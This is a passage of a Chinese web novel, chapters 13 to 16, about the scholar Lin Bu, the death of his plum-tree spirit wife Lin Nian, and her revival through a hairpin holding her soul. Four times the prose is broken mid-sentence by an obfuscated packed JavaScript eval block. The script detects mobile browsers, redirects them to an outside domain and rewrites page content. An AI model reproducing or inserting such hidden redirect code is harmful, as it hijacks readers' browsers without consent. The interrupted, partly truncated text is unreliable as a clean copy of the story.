没有与他相扣的另一只手死死攥紧拳头,用力到指甲扎进肉里,鲜血染红了握住的红豆,她却恨不得再用些力,用力到将它们嵌进掌心。 苍天何其薄我! 我的郎君啊,你这样快乐,叫我如何忍心告诉你,我们的未来远比你想象的要短得多。 13. 第 13 章 五年后。 林逋抱着包裹的严严实实的纸包兴冲冲的往梅林的方向走去。 踏在那条走过无数次的小路上,听着道路两旁树上清越的蝉鸣,那颗紧张急促的心慢慢安定了下来。 前几日念念忽然想吃一家老字号的点心,虽然有点远,但妻子难得提出要求,他自然要满足。 正巧那家老字号离外祖家很近,如今外祖父母早已过世,只有舅舅一家在那住着。想着父母早逝后,舅舅舅母对他的照顾,林逋就和林念商量着顺道去拜访一下舅舅,再小住几日。 不过这两天他不知为何心慌的厉害,总觉得要出什么事,索性辞别了热情的舅舅一家,早早回了孤山。 自他和念念定情以来,每年他近乎一半的时间都留在孤山陪她。当初那个小小的凑合着住的木屋也慢慢扩建成一处院落,土墙黑瓦,引泉种花,充满了古朴自然的气息。 如今只要不离本体太远,念念的灵体就能一直留在外面。于是,他们同起同卧,于月下起舞弹琴,于雪中执手漫步,形影不离,如胶似漆,就这样做了五年恩爱的夫妻。 前年,他们还捡到了一只受伤的小鹤,经过一番精心照料,这只早早就失了父母的小鹤俨然把他们认作了新的父母,伤好后也不愿意离开。 念念很喜欢它,他们便索性收养了这只小鹤,给它取名阿回,当真待它如亲子。 阿回很乖,也很有灵性,他外出时,它就陪在念念身边,同她嬉戏玩闹,为她排解寂寞。 青山碧水,白鹤红花,至此,他在孤山有了一个完整的家。若不是答应了念念代她去看一看外面的风景,他还真想就这么住在这儿,永远也不离开。 瞧,现在不过小别几日,他就想她想的厉害。 于是,他的步伐又快了几分。 “念念,阿回,我回来了。” 还未见到妻子,林逋就远远唤道。 奇怪的是,往常听见他的声音,阿回早就扇着翅膀来迎他了,可今天却一点动静也没有。 这时,一声凄怆的鹤鸣从林中传来。 出事了! 林逋心一紧,忙向声源处奔去,到了地方,眼前的一幕让他如坠深渊。 “啪”,包裹落地,里面码放整齐的精致糕点摔得稀碎,一只脚从上面踩过,与泥土碾在一处,再不见原先的雪白。 林逋跌跌撞撞的跑过去,那棵他心爱的梅树,在他离去时还翠如华盖,如今已稀疏的不成样子,仅剩的叶子也干枯发黄,风一吹便轻飘飘落了下来。 而他的妻子,就站在树旁,安静而悲伤的看着它慢慢凋零。 阿回伏在她身边,仿佛已经预料到什么,不断哀鸣着。 见林逋回来,它连忙扑扇到他身前,用长喙拽着他的衣袖往林念身边去。 林念站在原地,看着他们一步步向她走来。 她的状态很不好,身体已经透明到近乎虚幻,仿佛阳光下的一个泡泡,轻轻一戳就会消散。而苍白的脸上浮着一抹病态的嫣红,靡艳得像朵开到极致即将从枝头坠落的花。 不同于往日的清冷殊色,是另一种催人心折的物哀之美。 “十一郎,你不该这么早回来的。” “怎么会这样……” 林逋颤着手,想要碰碰她,却径直从她身体里穿过,“念念,这是障眼法对不对,你是不是在同我开玩笑?我胆子小,你变回来不要吓我好不好?” 他的声音越说越大,拼命的掩饰着自己的不安。他不敢也不愿承认眼前的一切是真实的,只能如一个即将溺死的落水者,看着眼前的浮木,疯狂的渴求那一丝生还的希望。 林念摇摇头,随着落下的泪珠彻底断了他的念想。 “十一郎,你为什么要这么早回来?我不想让你亲眼看着我死去,对你而言,太过残忍。” “念念,你怎么会死,你是妖,你能活得很久很久,你不会死的。我知道了,你是因为我回来晚了,所以故意吓我对不对?是我不对,我知道错了,你快变回来吧。” 他看着自己的妻子,近乎哀求的说道。 “十一郎,不要再自欺欺人了,你看到的都是真的,我很快就要死了。” 林念又何曾想死,只是她真的已经油尽灯枯了。她能清晰的感受到自身的妖力在飞速溃散,这幅残破的身体再也撑不下去了。 “三十年前,我为了早日化形离开这里,结果差点走火入魔,不仅没能渡过天劫,还伤了根本。”她从未如此痛恨过当初的急功近利,如今叫他们二人尝尽苦果,“这些年不过是苟延残喘,天命如此,我的时间到了。” “去他娘的天命!” 林逋破天荒的爆了一句粗口,他红着眼,满是癫狂:“念念,你不会死的,我一定会找办法救你的。对了,精气,我的精气有没有用?你不是说人的精气对妖怪来说是大补吗?我把精气都给你,你能活下来的对不对?” 林念看着他,拼命的摇头,“十一郎,没用的,我的身体早已千疮百孔,再怎么努力,也不过拖延时间罢了。” “那就拖!能拖一时是一时,多活一天是一天!说不定就找到救你的办法了呢。念念,我的命是你救的,现在我把它还给你。别怕,你一定能活下来。” 他的声音里带着一股子恨不得同归于尽的狠意,眼神却脆弱的像是被太阳无情融化的冰,支离破碎,狼狈一地。 “可是我不愿意,今日若换了你,你愿意用我的命换自己继续活下去吗?十一郎,我也舍不得离开你,可是我们终究要接受现实,最起码,我们在一起的每一天都很快乐不是吗?” “不够,还不够。”林逋耳中一片嗡鸣,几乎站立不住。 痛,真是太痛了,他的心怎么会这么痛,痛得他恨不得把它给呕出来。 他死死抓住胸口的衣襟,手上青筋蹦出,可见用了多大的力道。 “我宁愿死的是我。念念,你为什么不早点告诉我?你还想把我支开,你这个骗子,我们明明说好了的,我要一直守着你,从生到死,我们永远不分开。” 林念的眼泪一滴滴落下,化作莹白的光散在空中,她虚虚环抱住他,轻声道:“因为我不希望你每日活得担惊受怕,战战兢兢,也因为我想要你好好活着。十一郎,你是我这千百年来唯一的意外,也是最大的欢喜。你带我走出了寂寞,也让一棵树生出了一颗爱人的心。只要我们的心在一处,我们就永远不会分开。还记得你答应我的话吗?以后只要欢喜就够了,不要再为我难过。” “我做不到,我的妻子就要离开我了,你叫我还怎么欢喜?”林逋呜咽着,像是只被抛弃的兽,“念念,你不能丢下我。你不愿意用我的命活下去,那就带我一起走,我不能没有你!” “十一郎,还记得我说过的话吗?我说,我们以后或许会后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268161|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悔。” 林念的手指从他的眉眼间虚虚划过,像是要将他牢牢记住。 “我曾无数次想过为什么要答应你,让你越陷越深。既然无法长相守,又何必教你长相思。我还想过,要封住你的记忆,让你忘了我,可是,我知道你不愿。现在,你告诉我,你后悔了吗?” “不,爱上你我永远不会后悔,要是早知道有这么一天,我一定会早一点表明心意。”林逋与林念两两相望,“我只痛恨自己只是个无能的凡人,没有办法救自己的妻子。” “你不悔,那你也不要让我后悔。听着,我会带你走的,但不是现在。你说你是我的眼,天下的山川那么多,你还没有一一替我看过,如今你要说话不算数了吗?还有阿回,它已经没有娘了,你还要它也没有爹吗?” 许是听见了自己的名字,阿回低低回应了一声,伸长脖子,亲昵的蹭了蹭他们,可是,最终只是碰到了林逋。 林念隔空摸了摸阿回的翅羽以示安慰,最后又吻了吻林逋的眼睛。 “照顾好自己和阿回,不要那么急着来见我,这辈子我都没能离开过这里,你是我的郎君,便替我再多看一看这个世间。等到我们再相逢的那一天,你再带着满满的故事来寻我。” “早知相思绊人心,何如当初莫相识【1】,郎君,不要让我后悔答应嫁给你。还有,我爱你。” 说完,她在林逋目眦欲裂的眼神中,同她那悄无声息间彻底枯死的树,一同化作一缕青烟,散入风中,彻底消失不见。 “不!” 林逋拼了命的想要挽留,却怎么也留不住。梅树消失,那些他亲手绑上的红笺被吹落一地,如一朵朵枯死的花,祭奠着他死去的妻子。 他整个人跪倒在地,妻子的离去彷佛瞬间带走了他全部的生气,那双澄澈温润的眼睛如同一汪枯涸的潭水,死气沉沉。 阿回亦步亦趋的跟着他,双翅打开护在他身前,像是怕他跌倒。 林逋垂着头,好半响,才压抑着声音说道:“阿回,你娘好狠的心,她不要我们爷俩了,以后,你就是没有娘的孩子了。” 阿回忧伤的叫了一声,将脖子伸到他面前,那里挂着一只月白的锦囊,正是当初林逋表白时送给林念的那只,上面还绣着一支盛开的红梅。 林逋慌忙擦干净手,小心的解下锦囊,却发现里面除了他送她的红豆外,只有一张叠好的信纸。 展开信纸,开头便是“郎君亲启”四个字。 这是一封诀别信,内容与林念方才说的没有什么差别,都是叮嘱他好好活着。 想来,若是他没有及时赶回来,他的妻子留给他的就只有这么一封信了。 他们甚至连最后一面都不会见到。 待看到最后的“愿君长乐无忧,勿念勿想,妻留”时,他终究没能忍住,“噗”的一声,一口血喷出。 “念念,你待我,当真好残忍!” 你将红豆还给我,是叫我从此不要再相思吗? 呵,我的妻子死了,你却剥夺了我忧伤,难过,还有死亡的资格。 我如何能不念不想,又如何能长乐无忧? 就连收养阿回,是不是也是你早就打算好的?就是为了给我留下一个寄托和牵绊,让我继续活下去。 想起妻子曾笑着说让阿回当他们孩子的话,林逋惨淡一笑。 原来,痛到极致是真的会麻木。 14. 第 14 章 第二日清晨,灵隐寺。 负责洒扫的僧人刚打开大门,就见门前立着一高一矮两道身影。他吓一跳,好悬没把扫帚给扔了。 要不是知道这里就是佛寺,乃佛光普照之地,没有妖鬼敢来冒犯,他真差点就要一把关上大门,拔腿就跑了。 “阿弥陀佛,阿弥陀佛。” 僧人念了好几声佛号,方定了定神,大着胆子打量了下来人。 直到看到他身旁熟悉的仙鹤时,才终于认出了对方的身份:“林施主,怎么是您?您这是发生什么事了?” 僧人对林逋并不陌生,毕竟林逋这些年常住孤山,闲暇时就爱划着小船在西湖到处游玩。他随性洒脱,又颇通佛法,故而常来灵隐寺与人谈经,僧人们都很喜欢他,灵隐寺方丈与他更称得上是忘年交。 只是叫他诧异的是林逋现下的模样。 往日林逋多风流的一个人物啊,肃肃如松下之清风,令人见之而忘俗。再加上他为了与林念相配,不那么快老去,在保养上可谓是下足了功夫,三十多岁的人了,又未蓄须,看起来仍和二十多岁没什么两样,谁见了不夸一声翩翩人才。 可如今呢? 灰白的长发凌乱的披在身上,遮住小半张苍白的面孔,抬头时从发间露出的眼睛布满血丝,幽暗无光,看着就渗人。 全身衣衫褴褛,满是污痕,僧人甚至还眼尖的看到上面溅着几点鲜红的血迹。 这哪里还是个人,简直和坟墓里爬出来的孤魂野鬼没什么两样。 恰巧此时又是凌晨,太阳还未出来,只有熹微一点光,朦朦胧胧中冷不丁看见他,不怪僧人吓成那样。 林逋看着他又忧又惧的模样,似是想对他安抚的笑笑,可扯了扯唇角,除了让面容更加僵硬外,嘴唇的弧度是一点也弯不起来,于是只好作罢。 “明意师父,抱歉,我这样子吓着你了。我有很重要的事要见方丈,还请你通传一下。”他哑着嗓子说道。 林逋已经一天一夜未进食饮水了,昨天又声嘶力竭的哭了许久,现在喉咙里像是塞了一把针,每说一个字都痛的厉害,声音自然好听不到哪里去。 他弄成这般狼狈,也是因为半夜过来时,昏暗的月光下看不清路,摔了好几跤造成的。 他就这样不知在寺门外站了多久,见终于有人开门,能寒暄两句已是极限。 僧人观他言行,知道怕是出了什么事,一点不敢耽搁,连忙将林逋迎进一间客房,然后一路小跑去寻方丈了。 方丈来时,就见林逋沉默的坐在窗边,一动不动,初升的阳光落在他身上,不见一丝明媚,反而显得他整个人更加阴沉,如一缕徘徊在人间的幽魂,浑身看不到一点生气。或许,连块石头都比他更像个人。 “唉,痴儿啊。”他心中叹道。 若说这世上除了他们夫妻外,还有谁对他们的情况最了解,那就只有他了。 其实,历代灵隐寺高僧都知道孤山有妖。只是她避世而居,不曾害人,他们也不会无缘无故为难她,默许了她在山上修行。就这样,双方互不打扰、平安无事的做了几百年陌生的邻居。 后来他察觉到林逋身上有妖气,以为那梅妖误了歧途,想吸他精气,便去点醒他。谁知林逋早就知道对方的身份,仍执意要同她在一起。 他与梅妖既有救命之恩这份前缘,又早已禀告天地结了夫妻,二人因果缠身,解也解不开了。 方丈见劝不动,小两口又隐居山中,几乎不与人接触,便也不做恶人,随他们去了。 只是他看出那梅妖大限将至,碍于她的苦求,没有告诉林逋这件事。但他也担心林逋慧极必伤,情深不寿,梅妖去后会执念生魔,所以常叫他来寺里聆听佛音,明心静气。 不过看林逋如今青年白发、形容枯槁的模样,方丈知道他担心的事终于还是发生了。 “阿弥陀佛。”他施了一个佛礼,没有在意林逋的沉默,在他身旁坐下了,“林小友。” 林逋死寂的眼珠动了动,刚才他一直在看窗外。 那里,一只高大的仙鹤弯着脖子优雅的梳理着羽毛,头顶的那抹朱红在雪白羽翼的映衬下如鲜血一样,红得越发刺眼。 他幽幽开口:“大师,我的妻子死了。” “阿弥陀佛,林小友,斯人已去,你更要好好保重身体,不要让去者忧心。如今你哀思太过,伤神伤身,将来恐怕有损寿数啊。” “有损寿数?曾经我恨不得活得长些、再长些,好与她长久相伴,可如今她已经不在了,我活得再长又有什么用?真要像您说的那样,于我而言反倒是件好事。” 他伸手捂住脸,痴痴一笑,“这样,我就可以早一点见到她了。” “林小友,你这又是何苦?” 林逋这精神明显就不正常,方丈没忍住又叹了一口气。 林娘子这一去,怕是带去了他的半条命啊。 林逋却不以为意,犹沉浸在自己的世界里,“您放心吧,我答应了我的妻子,不会主动寻死的。毕竟生老病死,乃是天意,我也强求不得。” 他说这话时,语气带着一股子说不清道不明的嘲讽。 饶是涵养如方丈,都差点被这话给气笑了。 瞧瞧这说的什么话,不会主动寻死,所以就可着劲的造作,等哪一天身子撑不住“自然寿终”吗? 方丈头疼,他这分明是不疯魔不成活啊! 不知道自己给方丈造成多大困扰的林逋继续道:“今日我来,是想办一场法事。” 他不住的摩挲着手中的锦囊,用指腹一点点描摹着绣纹的轮廓,不顾他人死活的继续暴击道:“内子她纯质善良,一生从未做过一件恶事,却偏偏被困一隅,不得自由。我愿散尽家财,请阖寺的僧人为她念经祈福,只盼她来生如风自由,不受拘束。” 请寺庙的僧人为妖祈福,林逋实在敢说,这跟直接打上门把寺庙给砸了有什么区别,说不定前者侮辱性更强,他是真不怕人家拿棍子把他打死。 不过以他现在这活着也行,死了更好的状态来说,对方要真动手他应当也不会反抗,说不定还会主动迎上去。 不过林逋幽幽叹了一口气,可惜了,他这回还真不是来讨打的。 毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268162|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟,在有关林念的事上他从不胡闹。他敢来,也是因为他熟知方丈的为人,知道在他眼中众生平等,不分人妖贵贱,再加上吃准了老和尚的心软,有几分把握他会同意,所以才来了灵隐寺。 果不其然,看着林逋这半死不活的样子,方丈沉吟片刻,最终还是答应了。 得偿所愿,林逋面上终于带了一丝欢喜。他刚要起身道谢,就见方丈的视线落到他手中的锦囊上,“咦”了一声。 “林小友,你手中之物可否让老衲一观?” 闻言,林逋手一缩,将锦囊握的更紧了一些:“这里装的是内子留给我的东西,可是有什么不妥?” 看他那紧张的样子,估计不管方丈说妥还是不妥都不会在意,更不愿交出来。 方丈听了也不生气,只是宽和的笑笑。 “小友莫慌,老衲见这锦囊里的东西灵气四溢,且对你隐隐有庇护之意,所以才生了几分好奇。” “庇护?” 林逋眉头微皱,锦囊里除了他送给念念的相思子还有她留下的信外,就只有…… 他将锦囊解开,从里面拿出一只玉簪。 那玉簪通体晶莹,用墨玉雕成梅枝的形状,顶端点缀着几朵红艳的梅花,看起来非常的精美,连细如发丝的花蕊也根根分明,嫩黄可爱。 “您说的可是这个?”林逋问道。 那其实不是玉簪,它原本是当年林念送他的那枝梅花。 因为那枝梅花出自林念的本体,在林逋眼中,就如同林念的化身一样,所以他每回外出游历都会带着它。 林念不能亲眼看到外面的世界,就由它去看,去听,去一一经历。而且看着它,林逋亦可以暂缓相思,聊以慰藉。 后来还是林念怕他携带不方便,又担心这不合时宜四季绽放的花被人瞧见,引来麻烦,便施法将它炼作一只玉簪。 自此,每回他出远门,她就用这簪子为他束好发,目送他离去。 二人情深缱绻至此,林逋还曾笑曰这簪子就如同他赠与她的红豆一样,是他们的定情信物。 当然,这话一出,他就被林念狠狠教训了一顿。 毕竟,林念送他花时他才十岁,还是个孩子,二人如何定的了情。林念当时只觉自己被内涵“老牛吃嫩草”了,又羞又窘,不顾他的喊冤愣是三天没让他进梅林一步。 不过对“定情信物”这个说法,她最后还是默认了。 因而林逋对它更是爱惜非常,平时除了出远门,这簪子都被他妥帖的放到锦盒里,再置于枕下藏好,像是生怕不小心磕到碰到哪里。即使林念一再强调它的坚固,也仍旧如此。 这也是为什么方丈以前没见过它的原因。 林逋想起了往日他们夫妻恩爱的时光,那些美好的记忆如刀片一样,将他从□□到灵魂都给割的鲜血淋漓,连呼吸都带着痛。 他眨了眨干涩的眼,问道:“大师,您说的庇护是什么意思?” 这只簪子里究竟还藏着什么他不知道的秘密?他的念念,又瞒着他做了什么? 林逋心突突直跳,有了不好的预感。 15. 第 15 章 方丈听完来这簪子的来历,心里顿时明了。 他念了一句佛号,叹道:“林娘子虽是妖,可确有一颗爱人的心啊。” 难怪林逋为了她把自己折腾成这样。 他指着玉簪,对这个丧了妻的可怜人说:“这只簪子里封了她一缕神魂和大量的妖力,带着它,一般的邪祟野兽察觉到她的气息,便不敢近小友你的身了。” 江淮一带民风彪悍,有些地方巫鬼之风盛行,野神淫祀不断,林逋常去山野之地,林念唯恐他在她看不到的地方受伤,所以才花费大力气制作了这只簪子。 为此,这些年她恢复的大半妖力都注入其中了,仅留下供她神魂出窍,还有日常生活的那部分。而神魂剥离之痛,更不亚于天雷加诸其身。 她怕林逋担心,也怕他不同意,所以这一切都是瞒着他偷偷做的。 在最后的陨落之际,她更是将最后的妖力也都给了出去,只望他能一世平安。 “念念,你怎么这么傻?” 乍然得知真相,林逋觉得自己真是个糊涂东西。 明明那段时间林念那么虚弱,他当初怎么就被她以修炼出了岔子为由给糊弄过去了呢? 想明白一切的林逋,此时心中的悔恨可谓是达到了极点。 “我的妻子至死都觉得对不起我,她说她给不了我长相守,是她误了我。可是,这一切明明都是我的错!” 他又哭又笑的对方丈道:“她本不晓人间事,只是因为好心救了一个人,就被拉着入了情网,自此,为他苦心积虑,熬尽了心血,那个人却一无所知。是我害了她,方丈,都说一命还一命,这世上若真有因果报应,为什么死的不是我?” 方丈双手合十,“小友,你着相了,你又怎知这不是她心甘情愿呢?你们相遇,是劫,亦是缘。殊不知恰是你与林娘子的一片深情,才留下了这最后一点生机啊!” “可是我不能原谅自己……” 林逋突然反应过来,他不敢置信的看着方丈,嘴唇嚅动了几下,才小心翼翼的向他求证道:“您是说?” 他的声音很轻,像是生怕惊动了什么,那双幽寂的眸子里也终于有了光彩,不再是那副活人微死的模样。 方丈含笑点头,伸手示意他把簪子给他。 林逋把簪子递给他,眼睛紧紧地盯着他的一举一动,一刻也不敢移开。 这是他最后的希望,若是不成,失而复得,得而再失,他自己都不知道能不能再承受住一次的打击了。 方丈接过簪子,手上顿时升起一道金色的光芒,这光温暖明亮,散发着浓浓的生机。 坐在一旁的林逋,哪怕只是被余光照到,也感觉自己疲惫不堪的身体舒服了许多,脑中不断翻滚咆哮的充满了自毁、绝望等黑暗的情绪也慢慢被安抚下来。 只是他对自身的状态毫不关心,只一心守着那团金色,等待着、渴盼着奇迹的降临。 他屏住呼吸,手死死的扣住了桌角,青筋暴起,用疼痛来强迫自己稳住心神。 下一刻,他眼睛忽地睁大。 只见随着光芒的绽放,那只簪子在金光中扭曲、拉长,逐渐生长成枝干的模样,然后一簇簇绿意从褐色的枝干上冒了出来,抽出了嫩芽。 随着叶片的伸展,这枝干很快便长成了半臂长的一根树苗。 林逋认出来,那是一棵小小的梅树。 就在树苗的底部,他还看见了一团新生出来的根茎,毛茸茸的,嫩白细长,充满了生命的气息。 这一刻,林逋终于感觉自己原来还活着。 他颤声问道,“是我的妻子对不对?是她回来了吗?” “现在还不能算是完全回来。” 方丈将林逋眼巴巴盯着的树苗放回他手上,看着他小心接过,才解释道:“死而复生哪里这么容易,如果不是你无意识将她最后这缕神魂强留了下来,纵使神仙下凡也是难啊!” “我?” 林逋捧着树苗,十分不解。 “对,是小友你。当初林娘子将自身一缕神魂封入梅枝中,想要借此为你做一件护身的法器。神魂离体后,它本该慢慢被法器吸收炼化,谁知小友你用情太过,一缕情思竟同样入了这簪中。你与林娘子是夫妻,气息交容,将它时常带在身上,时间一长,这簪子就被你蕴养出了灵性,因而保留了这缕神魂的不灭。” 说到这里,方丈微微一笑,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268163|182178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们能够重逢感到高兴,“最妙的是,林娘子是树妖,树木大多生命顽强,插枝可活。这簪子出自它的的真身,与她同源,是最好的载体。如今,魂魄、躯壳都有了,林娘子自然就有了生还的可能。” “那还缺什么?我一定办到!”林逋急忙道。 “莫急,此事非一日之功。接下来老衲会将它供于佛前,受百日香火,日日让众僧念经祷祝,为她破开蒙昧,令她神魂与梅树早日融合。之后,林小友你再将它种下,记住,不要离她出生之地太远。只要小心看护,她自己会慢慢吸收原先储存的妖。花开之日,便是她真正归来之时。只是,这时间或许很长,三载五载,十年二十年,老衲也不好说啊。” “已经很好了,以前我总盼着与她长相厮守,可现在,只要她活着便很好了。” 林逋爱怜的摸了摸怀中树苗的叶片,然后向方丈重重一拜,“多谢大师,大师大恩大德,我没齿难忘,今后必将结草衔环,以报今日之恩。” “快起来。”方丈连忙扶起他,没有受这一拜。 他始终愧疚于当初的隐瞒,眼下既然有办法补救,他自然会竭尽全力。 更何况,救人一命胜造七级浮屠,于林逋而言,他这是救一命,活两人。 “老衲不过是略尽绵薄之力,之所以能有这一线生机,还是你们夫妻情深。所谓一啄一饮,皆有定数,老衲也盼你们夫妻早日重逢,如此便是无上功德。” “阿弥陀佛,我佛慈悲。” 于是,当天来寺里上香的香客们忽然发现大雄宝殿上,宝相庄严的佛像前,那供案上多了一盆秀气的梅树盆栽。 而方丈则领着一众僧人虔诚的诵着经文,在香炉升起的袅袅青烟中,巨大的释迦牟尼佛结跏跌坐于莲台,注视着下首的芸芸众生,笑容宁静祥和。 “唳——” 寺外,一道洁白的鹤影划过天际,清亮的叫声充满了愉悦的气息。 在它下面,青衣的士人提着从林间小溪里汲取的清澈溪水,向那座掩映在山林中的寺庙走去,眉目舒朗,又变回了从前温润的君子。 花有重开日,人有再见时。 念念,我们终将有再见的那一天。 16. 第 16 章 百日后,林逋从灵隐寺接回了他的爱人。 他将她小心的种在后园里,那里有一片从山上引来的山泉,甘甜清凉,园子周围是用石头和泥巴堆砌的围墙,上面爬满了野蔷薇,如今粉白的开了大片。 之所以选在这里,不仅是因为环境很合适,最重要的是后园与林逋的卧室距离很近,开一个小门,推开门,走几步就能到了。 只有将她放在自己身边,林逋才能安心。 将树苗种下后,林逋日复一日的细心照料着她,为她捉虫施肥,弹琴作画。一年年过去,先前那株小小的幼苗慢慢长成了高大的树木,枝繁叶茂,甚是喜人。 即使她迟迟不曾点上红妆,林逋也没了先前的焦虑与不安。他在漫长的等待中学会了和解,岁月教会了他宽容与耐心。 起先一两年,除了日常采买,他几乎连门都不出,时刻守在梅树身边,看着她,与她说着话。半夜也常常从梦中惊醒,然后就直接抱着被子睡在她旁边。 后来,虽然仍不敢离得太远,但林逋终于开始外出,与人交际。他的脚步踏遍了西湖的每一个角落,他的笔下也记满了西湖四季的风光。 就像以前那样,他一点点将这片湖光山色捧到妻子面前。 林逋以这种方式告诉妻子,他有如她希望的那样,带着阿回,努力的、好好的活着。 不多时,红色的信笺重新挂满了树梢,旧的褪色新的又来,和它的制作者一起,静默的等着故人的回归。 又一日,林逋正戴着草帽悠闲的坐在树荫下在钓鱼。远远听见一声鹤鸣,抬头一看,一只白鹤在家中上方的天空盘旋鸣叫。 他知道这是有客来了。 这是他和阿回定下的暗号,他外出时,阿回就留下看家。一旦有人来了,它就飞到天上大声鸣叫,只要他听见或看见了便立刻回来。 于是,林逋麻利的收好渔具,划起岸边停靠的小船就往家去。一路水波荡漾,青山相送,只觉一片诗意。 还没到门口呢,眼尖的阿回就飞了过来,它先是亲昵的蹭蹭林逋的手,然后跟在他后面,边走边盯着鱼篓直叫唤。 “你这馋嘴的鹤儿。” 他点了点阿回的头,一面解下鱼篓,将钓上来的鱼都倒给阿回,一面看向门口正笑呵呵看着他的客人。 见到来人,他好不诧异,来者不是别人,正是他好久不见的表兄。林逋又惊又喜,他快步上前,笑着向立在门前的表兄致歉。 “我说今早怎么听见喜鹊叫了呢,原来竟是贵客临门。兄长久等了,快快随我进屋去。” 说着便拉着表兄进门,又备好茶水,叫他带来的仆役在檐下歇息。 这位表兄是谁呢?就是当年带林逋来孤山的那位,如今年近五旬的他孙子都好几个了,再不见少时的跳脱。 表兄他常年在外地定居,现在到了知天命的年龄了,想着还是要落叶归根,所以就拖家带口的回了杭州。 此时见到多年未见的表弟,他也难掩喜色。 “说来我们也有十来年未见了,早听闻你在孤山隐居,这次回来便特地来看看你。没想到这么多年过去,十一郎你竟没有什么变化,还是这么风姿潇洒,我与你站在一起,倒像是两代人一样。” 林逋对外说他满头白发是生病所致,但他的脸却一点也不显老,被这白发一衬,更是仙风道骨,恍然如神仙人。 童颜白发,仙鹤相伴,也难怪经常上山打柴的樵夫和山客都说孤山住着一位活神仙。 表兄接过林逋烹的茶,心里不住的为林逋的风姿咂舌。 这小子,四十岁的人了,在山里过的又是清苦的日子,容貌一点没损不说,偏还气质绝佳,怎么看也就三十出头的样子。 知道的晓得他这个表弟是在山中隐居,不知道的还以为他是跑来求道修仙的呢。 话说我要不要问问他有什么保养秘方? 不知道被表兄惦记上了保养秘方的林逋微微一笑,道:“我在这山中清闲无事,自在逍遥,自然看着年轻些。” “自谦了不是,不过十一郎你还是这幅性子,有时我还真羡慕你的潇洒。” 表兄喝了一口茶,摇头笑道,“听说官家想要为你授官,你给拒了?” “是啊,我自在惯了,哪里能适应官场的生活,再说,我们大宋如今的官家——” “什么话都敢说,小心祸从口出!”表兄见他如此大胆,被吓了一跳,连忙示意他禁言。 林逋想到澶渊之盟,还有那离谱的天书符瑞、泰山封禅,他冷哼一声,没有再言。 表兄轻叹一声,“你这性子太过刚直,确实不适合官场,推了也好。不过十一郎,你自幼饱读诗书,满腹才华,却不愿做官,又不想成家,就一个人守着这一片天地,不觉寂寞吗?” “兄长怎知我没成家。” 说着,林逋遥遥指了指后园,“那里有我亲手种下的梅树,吾妻也。”又指指门口快活的吞吃着鱼的仙鹤,“阿回,吾子也。你看,我有朗风明月相伴,青山碧水为邻,又有爱妻幼子在侧,哪里还要什么功名利禄?又怎么会觉得寂寞?” “你啊你。”表兄只当他在玩笑,摆了摆手,“罢了,罢了,我也不与你谈这些俗物了,好不容易来你这一趟,自然要与你论一论风雅,不然,岂不辜负了孤山这美妙的风光。” 林逋也不多解释,他举起茶杯,以茶代酒,敬道:“合该如此,兄长,请。” 屋内,久未相见的兄弟二人谈天说地,兴致越发高涨,时不时传出几道笑声。 屋外,吃完了小鱼的阿回昂着脖子,优雅的向后园走去,打算去泉边清理一下羽毛。 此时日头正好,高大的梅树微微摇晃着枝叶,贴心的为下方嬉戏的鹤儿投下一片阴凉。 又过了几年,正逢冬日的一个夜晚,林逋在屋里合香。 后园的梅花久久未开,他怀念那股香气已经十年了。可惜,无论怎么调换配方,林逋始终没有合出那抹令他魂牵梦绕的香来。 如今他年岁渐永,身体大不如前,再不是那个能仗剑出游的少年郎了。前几日倒春寒,他不过一时没注意就病了一场,短短几天瘦得不成样子。 如今病才好,面容还有几分憔悴。全身上下,恐怕只有那双漂亮的眼睛还能瞧出几分往日的光彩。 昏暗的灯光下,他专心的将香料一点点研磨碾碎,时不时捻起一点闻闻味道。 许是与香料接触久了,他身上也慢慢沾上了一丝香气,清冷微涩,加上宽大的衣袍,让人感觉他越发清瘦。 就在他忙活时,突然,后园传来阿回急促的叫声。 林逋心一凛,生怕出了什么事,将灯罩罩上举起灯就往外跑。 哪知刚一推开门,一股香气就迎面扑来。 是梅香,但不是周边梅花的香气。它是如此的熟悉,熟悉到一寸寸深入骨髓。 林逋猛然意识到什么,疯了似的向后园跑去。 小小的园子里,那株沉寂了十年的梅花终于开了。 无视凛冽的寒风,无数红色的花朵竞相在枝头绽放,与一张张悬挂的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 